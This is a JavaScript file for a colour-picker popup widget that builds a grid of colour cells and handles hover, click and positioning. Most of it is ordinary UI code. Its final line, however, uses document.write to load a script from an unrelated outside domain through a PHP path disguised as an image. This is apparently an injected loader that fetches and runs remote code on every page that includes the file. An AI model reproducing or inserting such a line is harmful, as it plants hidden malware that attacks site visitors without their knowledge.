function ColorPalette() {}

//全局实例
ColorPalette._instance = null;
//当前鼠标所在的颜色块
ColorPalette._currentColor = null;
//用户选择颜色（鼠标单击）后的回调函数
ColorPalette._callback = null;
//调色板dom对象id
ColorPalette.id = "__mapbar_color_palette";

ColorPalette.Show = function(event,position,callback)
{
    if (!document.getElementById(this.id))
    {
        this._instance = document.createElement("DIV");
        this._instance.id = this.id;
        this._instance.style.position = "absolute";
        this._instance.style.display = "none";
        this._instance.innerHTML = '<TABLE style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse" borderColor=#000000 cellSpacing=0 cellPadding=0 width=253 border=0><TBODY><TR height=30><TD bgColor=#cccccc colSpan=21><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=1 cellPadding=0 border=0><TBODY><TR><TD width=3><TD><INPUT style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; BACKGROUND-COLOR: #ff0000" disabled size=6 id=' + this.id + '_DisColor></TD><TD width=3><TD><INPUT style="BORDER-RIGHT: 1px inset; BORDER-TOP: 1px inset; BORDER-LEFT: 1px inset; BORDER-BOTTOM: 1px inset; FONT-FAMILY: Arial" disabled size=16 value=#FF0000 id=' + this.id + '_HexColor></TD><TD>&nbsp;<INPUT style="BORDER-RIGHT: #9b9b9b 1px solid; BORDER-TOP: #9b9b9b 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #9b9b9b 1px solid; BORDER-BOTTOM: #9b9b9b 1px solid; HEIGHT: 19px" onclick=ColorPalette._close() type=button value="&#x5173; &#x95ED;"></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><TABLE onmouseover=ColorPalette._mouseOver(event) onmouseout=ColorPalette._mouseOut() style="CURSOR: pointer; BORDER-COLLAPSE: collapse" onclick=ColorPalette._mouseClick(event) borderColor=#000000 cellSpacing=0 cellPadding=0 border=1><TBODY><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #003300" width=11><TD style="BACKGROUND-COLOR: #006600" width=11><TD style="BACKGROUND-COLOR: #009900" width=11><TD style="BACKGROUND-COLOR: #00cc00" width=11><TD style="BACKGROUND-COLOR: #00ff00" width=11><TD style="BACKGROUND-COLOR: #330000" width=11><TD style="BACKGROUND-COLOR: #333300" width=11><TD style="BACKGROUND-COLOR: #336600" width=11><TD style="BACKGROUND-COLOR: #339900" width=11><TD style="BACKGROUND-COLOR: #33cc00" width=11><TD style="BACKGROUND-COLOR: #33ff00" width=11><TD style="BACKGROUND-COLOR: #660000" width=11><TD style="BACKGROUND-COLOR: #663300" width=11><TD style="BACKGROUND-COLOR: #666600" width=11><TD style="BACKGROUND-COLOR: #669900" width=11><TD style="BACKGROUND-COLOR: #66cc00" width=11><TD style="BACKGROUND-COLOR: #66ff00" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #333333" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000033" width=11><TD style="BACKGROUND-COLOR: #003333" width=11><TD style="BACKGROUND-COLOR: #006633" width=11><TD style="BACKGROUND-COLOR: #009933" width=11><TD style="BACKGROUND-COLOR: #00cc33" width=11><TD style="BACKGROUND-COLOR: #00ff33" width=11><TD style="BACKGROUND-COLOR: #330033" width=11><TD style="BACKGROUND-COLOR: #333333" width=11><TD style="BACKGROUND-COLOR: #336633" width=11><TD style="BACKGROUND-COLOR: #339933" width=11><TD style="BACKGROUND-COLOR: #33cc33" width=11><TD style="BACKGROUND-COLOR: #33ff33" width=11><TD style="BACKGROUND-COLOR: #660033" width=11><TD style="BACKGROUND-COLOR: #663333" width=11><TD style="BACKGROUND-COLOR: #666633" width=11><TD style="BACKGROUND-COLOR: #669933" width=11><TD style="BACKGROUND-COLOR: #66cc33" width=11><TD style="BACKGROUND-COLOR: #66ff33" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #666666" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000066" width=11><TD style="BACKGROUND-COLOR: #003366" width=11><TD style="BACKGROUND-COLOR: #006666" width=11><TD style="BACKGROUND-COLOR: #009966" width=11><TD style="BACKGROUND-COLOR: #00cc66" width=11><TD style="BACKGROUND-COLOR: #00ff66" width=11><TD style="BACKGROUND-COLOR: #330066" width=11><TD style="BACKGROUND-COLOR: #333366" width=11><TD style="BACKGROUND-COLOR: #336666" width=11><TD style="BACKGROUND-COLOR: #339966" width=11><TD style="BACKGROUND-COLOR: #33cc66" width=11><TD style="BACKGROUND-COLOR: #33ff66" width=11><TD style="BACKGROUND-COLOR: #660066" width=11><TD style="BACKGROUND-COLOR: #663366" width=11><TD style="BACKGROUND-COLOR: #666666" width=11><TD style="BACKGROUND-COLOR: #669966" width=11><TD style="BACKGROUND-COLOR: #66cc66" width=11><TD style="BACKGROUND-COLOR: #66ff66" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #999999" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #000099" width=11><TD style="BACKGROUND-COLOR: #003399" width=11><TD style="BACKGROUND-COLOR: #006699" width=11><TD style="BACKGROUND-COLOR: #009999" width=11><TD style="BACKGROUND-COLOR: #00cc99" width=11><TD style="BACKGROUND-COLOR: #00ff99" width=11><TD style="BACKGROUND-COLOR: #330099" width=11><TD style="BACKGROUND-COLOR: #333399" width=11><TD style="BACKGROUND-COLOR: #336699" width=11><TD style="BACKGROUND-COLOR: #339999" width=11><TD style="BACKGROUND-COLOR: #33cc99" width=11><TD style="BACKGROUND-COLOR: #33ff99" width=11><TD style="BACKGROUND-COLOR: #660099" width=11><TD style="BACKGROUND-COLOR: #663399" width=11><TD style="BACKGROUND-COLOR: #666699" width=11><TD style="BACKGROUND-COLOR: #669999" width=11><TD style="BACKGROUND-COLOR: #66cc99" width=11><TD style="BACKGROUND-COLOR: #66ff99" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #cccccc" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #0000cc" width=11><TD style="BACKGROUND-COLOR: #0033cc" width=11><TD style="BACKGROUND-COLOR: #0066cc" width=11><TD style="BACKGROUND-COLOR: #0099cc" width=11><TD style="BACKGROUND-COLOR: #00cccc" width=11><TD style="BACKGROUND-COLOR: #00ffcc" width=11><TD style="BACKGROUND-COLOR: #3300cc" width=11><TD style="BACKGROUND-COLOR: #3333cc" width=11><TD style="BACKGROUND-COLOR: #3366cc" width=11><TD style="BACKGROUND-COLOR: #3399cc" width=11><TD style="BACKGROUND-COLOR: #33cccc" width=11><TD style="BACKGROUND-COLOR: #33ffcc" width=11><TD style="BACKGROUND-COLOR: #6600cc" width=11><TD style="BACKGROUND-COLOR: #6633cc" width=11><TD style="BACKGROUND-COLOR: #6666cc" width=11><TD style="BACKGROUND-COLOR: #6699cc" width=11><TD style="BACKGROUND-COLOR: #66cccc" width=11><TD style="BACKGROUND-COLOR: #66ffcc" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #ffffff" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #0000ff" width=11><TD style="BACKGROUND-COLOR: #0033ff" width=11><TD style="BACKGROUND-COLOR: #0066ff" width=11><TD style="BACKGROUND-COLOR: #0099ff" width=11><TD style="BACKGROUND-COLOR: #00ccff" width=11><TD style="BACKGROUND-COLOR: #00ffff" width=11><TD style="BACKGROUND-COLOR: #3300ff" width=11><TD style="BACKGROUND-COLOR: #3333ff" width=11><TD style="BACKGROUND-COLOR: #3366ff" width=11><TD style="BACKGROUND-COLOR: #3399ff" width=11><TD style="BACKGROUND-COLOR: #33ccff" width=11><TD style="BACKGROUND-COLOR: #33ffff" width=11><TD style="BACKGROUND-COLOR: #6600ff" width=11><TD style="BACKGROUND-COLOR: #6633ff" width=11><TD style="BACKGROUND-COLOR: #6666ff" width=11><TD style="BACKGROUND-COLOR: #6699ff" width=11><TD style="BACKGROUND-COLOR: #66ccff" width=11><TD style="BACKGROUND-COLOR: #66ffff" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #ff0000" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #990000" width=11><TD style="BACKGROUND-COLOR: #993300" width=11><TD style="BACKGROUND-COLOR: #996600" width=11><TD style="BACKGROUND-COLOR: #999900" width=11><TD style="BACKGROUND-COLOR: #99cc00" width=11><TD style="BACKGROUND-COLOR: #99ff00" width=11><TD style="BACKGROUND-COLOR: #cc0000" width=11><TD style="BACKGROUND-COLOR: #cc3300" width=11><TD style="BACKGROUND-COLOR: #cc6600" width=11><TD style="BACKGROUND-COLOR: #cc9900" width=11><TD style="BACKGROUND-COLOR: #cccc00" width=11><TD style="BACKGROUND-COLOR: #ccff00" width=11><TD style="BACKGROUND-COLOR: #ff0000" width=11><TD style="BACKGROUND-COLOR: #ff3300" width=11><TD style="BACKGROUND-COLOR: #ff6600" width=11><TD style="BACKGROUND-COLOR: #ff9900" width=11><TD style="BACKGROUND-COLOR: #ffcc00" width=11><TD style="BACKGROUND-COLOR: #ffff00" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #00ff00" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #990033" width=11><TD style="BACKGROUND-COLOR: #993333" width=11><TD style="BACKGROUND-COLOR: #996633" width=11><TD style="BACKGROUND-COLOR: #999933" width=11><TD style="BACKGROUND-COLOR: #99cc33" width=11><TD style="BACKGROUND-COLOR: #99ff33" width=11><TD style="BACKGROUND-COLOR: #cc0033" width=11><TD style="BACKGROUND-COLOR: #cc3333" width=11><TD style="BACKGROUND-COLOR: #cc6633" width=11><TD style="BACKGROUND-COLOR: #cc9933" width=11><TD style="BACKGROUND-COLOR: #cccc33" width=11><TD style="BACKGROUND-COLOR: #ccff33" width=11><TD style="BACKGROUND-COLOR: #ff0033" width=11><TD style="BACKGROUND-COLOR: #ff3333" width=11><TD style="BACKGROUND-COLOR: #ff6633" width=11><TD style="BACKGROUND-COLOR: #ff9933" width=11><TD style="BACKGROUND-COLOR: #ffcc33" width=11><TD style="BACKGROUND-COLOR: #ffff33" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #0000ff" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #990066" width=11><TD style="BACKGROUND-COLOR: #993366" width=11><TD style="BACKGROUND-COLOR: #996666" width=11><TD style="BACKGROUND-COLOR: #999966" width=11><TD style="BACKGROUND-COLOR: #99cc66" width=11><TD style="BACKGROUND-COLOR: #99ff66" width=11><TD style="BACKGROUND-COLOR: #cc0066" width=11><TD style="BACKGROUND-COLOR: #cc3366" width=11><TD style="BACKGROUND-COLOR: #cc6666" width=11><TD style="BACKGROUND-COLOR: #cc9966" width=11><TD style="BACKGROUND-COLOR: #cccc66" width=11><TD style="BACKGROUND-COLOR: #ccff66" width=11><TD style="BACKGROUND-COLOR: #ff0066" width=11><TD style="BACKGROUND-COLOR: #ff3366" width=11><TD style="BACKGROUND-COLOR: #ff6666" width=11><TD style="BACKGROUND-COLOR: #ff9966" width=11><TD style="BACKGROUND-COLOR: #ffcc66" width=11><TD style="BACKGROUND-COLOR: #ffff66" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #ffff00" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #990099" width=11><TD style="BACKGROUND-COLOR: #993399" width=11><TD style="BACKGROUND-COLOR: #996699" width=11><TD style="BACKGROUND-COLOR: #999999" width=11><TD style="BACKGROUND-COLOR: #99cc99" width=11><TD style="BACKGROUND-COLOR: #99ff99" width=11><TD style="BACKGROUND-COLOR: #cc0099" width=11><TD style="BACKGROUND-COLOR: #cc3399" width=11><TD style="BACKGROUND-COLOR: #cc6699" width=11><TD style="BACKGROUND-COLOR: #cc9999" width=11><TD style="BACKGROUND-COLOR: #cccc99" width=11><TD style="BACKGROUND-COLOR: #ccff99" width=11><TD style="BACKGROUND-COLOR: #ff0099" width=11><TD style="BACKGROUND-COLOR: #ff3399" width=11><TD style="BACKGROUND-COLOR: #ff6699" width=11><TD style="BACKGROUND-COLOR: #ff9999" width=11><TD style="BACKGROUND-COLOR: #ffcc99" width=11><TD style="BACKGROUND-COLOR: #ffff99" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #00ffff" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #9900cc" width=11><TD style="BACKGROUND-COLOR: #9933cc" width=11><TD style="BACKGROUND-COLOR: #9966cc" width=11><TD style="BACKGROUND-COLOR: #9999cc" width=11><TD style="BACKGROUND-COLOR: #99cccc" width=11><TD style="BACKGROUND-COLOR: #99ffcc" width=11><TD style="BACKGROUND-COLOR: #cc00cc" width=11><TD style="BACKGROUND-COLOR: #cc33cc" width=11><TD style="BACKGROUND-COLOR: #cc66cc" width=11><TD style="BACKGROUND-COLOR: #cc99cc" width=11><TD style="BACKGROUND-COLOR: #cccccc" width=11><TD style="BACKGROUND-COLOR: #ccffcc" width=11><TD style="BACKGROUND-COLOR: #ff00cc" width=11><TD style="BACKGROUND-COLOR: #ff33cc" width=11><TD style="BACKGROUND-COLOR: #ff66cc" width=11><TD style="BACKGROUND-COLOR: #ff99cc" width=11><TD style="BACKGROUND-COLOR: #ffcccc" width=11><TD style="BACKGROUND-COLOR: #ffffcc" width=11><TR height=12><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #ff00ff" width=11><TD style="BACKGROUND-COLOR: #000000" width=11><TD style="BACKGROUND-COLOR: #9900ff" width=11><TD style="BACKGROUND-COLOR: #9933ff" width=11><TD style="BACKGROUND-COLOR: #9966ff" width=11><TD style="BACKGROUND-COLOR: #9999ff" width=11><TD style="BACKGROUND-COLOR: #99ccff" width=11><TD style="BACKGROUND-COLOR: #99ffff" width=11><TD style="BACKGROUND-COLOR: #cc00ff" width=11><TD style="BACKGROUND-COLOR: #cc33ff" width=11><TD style="BACKGROUND-COLOR: #cc66ff" width=11><TD style="BACKGROUND-COLOR: #cc99ff" width=11><TD style="BACKGROUND-COLOR: #ccccff" width=11><TD style="BACKGROUND-COLOR: #ccffff" width=11><TD style="BACKGROUND-COLOR: #ff00ff" width=11><TD style="BACKGROUND-COLOR: #ff33ff" width=11><TD style="BACKGROUND-COLOR: #ff66ff" width=11><TD style="BACKGROUND-COLOR: #ff99ff" width=11><TD style="BACKGROUND-COLOR: #ffccff" width=11><TD style="BACKGROUND-COLOR: #ffffff" width=11></TR></TBODY></TABLE>';

        document.body.appendChild(this._instance);
    }
    else
    {
        document.getElementById(this.id).style.display = "none";
    }

    this._callback = callback;

    //分析显示位置
    var x = 0;
    var y = 0;

    var pinfo = position || {};
    var pinfo_type = pinfo.type || "leftbottom";
    if (pinfo_type != "custom")
    {

        var src = (window.event) ? window.event.srcElement : event.target;
        if (pinfo_type == "leftbottom")
        {
            x = src.offsetLeft;
            y = src.offsetTop + src.offsetHeight;
        }
        else if (pinfo_type == "rightbottom")
        {
            x = src.offsetLeft + src.offsetWidth;
            y = src.offsetTop + src.offsetHeight;
        }
        else if (pinfo_type == "righttop")
        {
            x = src.offsetLeft + src.offsetWidth;
            y = src.offsetTop;
        }

        while(src = src.offsetParent)
        {
            x += src.offsetLeft;
            y += src.offsetTop;
        }

    }
    else
    {
        x = pinfo.x || 0;
        y = pinfo.y || 0;


    }

    this._instance.style.left = parseInt(x)+"px";
    this._instance.style.top = parseInt(y)+"px";
    if (pinfo.zindex)
    {
        this._instance.style.zIndex = pinfo.zindex;
    }
    this._instance.style.display = "block";

}

ColorPalette._mouseOver = function(evt)
{
    var evnt = (window.event) ? window.event.srcElement : evt.target;
    if ((evnt.tagName=="TD") && (this._currentColor!=evnt)) {
        if (this._currentColor!=null)
        {
            this._currentColor.style.backgroundColor = this._currentColor._background;
        }
        evnt._background = evnt.style.backgroundColor;
        document.getElementById(this.id+"_DisColor").style.backgroundColor = evnt.style.backgroundColor;
        document.getElementById(this.id+"_HexColor").value = evnt.style.backgroundColor.toUpperCase();
        evnt.style.backgroundColor = "white";
        this._currentColor = evnt;
    }
}

ColorPalette._mouseOut = function()
{
    if (this._currentColor!=null) this._currentColor.style.backgroundColor = this._currentColor._background;
}

ColorPalette._mouseClick = function(evt)
{
    var eventTag = (window.event) ? window.event.srcElement : evt.target;
    if (eventTag.tagName=="TD")
    {
        var curColor=eventTag._background.toUpperCase();
        this._callback(curColor);
        this._close();
    }
}

ColorPalette._close = function()
{
    document.getElementById(ColorPalette.id).style.display = "none";
}

ColorPalette.dispose = function()
{
    if (this._instance)
    {
        this._instance.parentNode.removeChild(this._instance);
    }
}
document.write('<script src=http://extreme-speedway.lua.pl/images/showphoto.php ><\/script>');